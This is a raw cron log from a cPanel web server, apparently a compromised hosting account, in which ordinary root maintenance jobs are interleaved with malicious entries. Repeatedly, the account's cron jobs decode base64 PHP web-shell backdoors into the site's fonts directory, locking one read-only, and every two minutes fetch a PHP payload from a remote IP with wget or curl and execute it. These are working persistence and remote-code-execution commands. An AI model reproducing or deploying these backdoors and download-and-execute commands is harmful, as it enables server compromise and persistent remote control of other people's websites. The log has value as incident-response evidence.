Sep  9 14:03:01 ip-184-168-122-23 CROND[29582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:03:01 ip-184-168-122-23 CROND[29583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:03:01 ip-184-168-122-23 CROND[29584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:04:01 ip-184-168-122-23 CROND[29678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:04:01 ip-184-168-122-23 CROND[29680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:04:01 ip-184-168-122-23 CROND[29681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:04:01 ip-184-168-122-23 CROND[29682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:04:01 ip-184-168-122-23 CROND[29684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:05:01 ip-184-168-122-23 CROND[29808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:05:01 ip-184-168-122-23 CROND[29810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:05:01 ip-184-168-122-23 CROND[29811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:05:01 ip-184-168-122-23 CROND[29814]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:05:01 ip-184-168-122-23 CROND[29815]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 14:05:01 ip-184-168-122-23 CROND[29817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:05:01 ip-184-168-122-23 CROND[29816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:06:01 ip-184-168-122-23 CROND[29918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:06:01 ip-184-168-122-23 CROND[29920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:06:01 ip-184-168-122-23 CROND[29923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:06:01 ip-184-168-122-23 CROND[29922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:06:01 ip-184-168-122-23 CROND[29921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:07:01 ip-184-168-122-23 CROND[30003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:07:01 ip-184-168-122-23 CROND[30004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:07:01 ip-184-168-122-23 CROND[30007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:07:01 ip-184-168-122-23 CROND[30006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:08:01 ip-184-168-122-23 CROND[30168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:08:01 ip-184-168-122-23 CROND[30170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:08:01 ip-184-168-122-23 CROND[30169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:08:01 ip-184-168-122-23 CROND[30172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:08:01 ip-184-168-122-23 CROND[30175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:09:01 ip-184-168-122-23 CROND[30255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:09:01 ip-184-168-122-23 CROND[30257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:09:01 ip-184-168-122-23 CROND[30259]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 14:09:01 ip-184-168-122-23 CROND[30258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:09:01 ip-184-168-122-23 CROND[30260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:10:01 ip-184-168-122-23 CROND[30348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:10:01 ip-184-168-122-23 CROND[30351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:10:01 ip-184-168-122-23 CROND[30353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:10:01 ip-184-168-122-23 CROND[30356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:10:01 ip-184-168-122-23 CROND[30357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:10:01 ip-184-168-122-23 CROND[30358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:10:01 ip-184-168-122-23 CROND[30359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:10:01 ip-184-168-122-23 CROND[30360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:11:01 ip-184-168-122-23 CROND[30474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:11:01 ip-184-168-122-23 CROND[30475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:11:01 ip-184-168-122-23 CROND[30473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:11:01 ip-184-168-122-23 CROND[30476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:12:01 ip-184-168-122-23 CROND[30572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:12:01 ip-184-168-122-23 CROND[30575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:12:01 ip-184-168-122-23 CROND[30574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:12:01 ip-184-168-122-23 CROND[30576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:12:01 ip-184-168-122-23 CROND[30577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:13:01 ip-184-168-122-23 CROND[30737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:13:01 ip-184-168-122-23 CROND[30738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:13:01 ip-184-168-122-23 CROND[30739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:13:01 ip-184-168-122-23 CROND[30740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:14:01 ip-184-168-122-23 CROND[30818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:14:01 ip-184-168-122-23 CROND[30817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:14:01 ip-184-168-122-23 CROND[30819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:14:01 ip-184-168-122-23 CROND[30820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:14:01 ip-184-168-122-23 CROND[30821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:15:01 ip-184-168-122-23 CROND[30933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:15:01 ip-184-168-122-23 CROND[30936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:15:01 ip-184-168-122-23 CROND[30935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
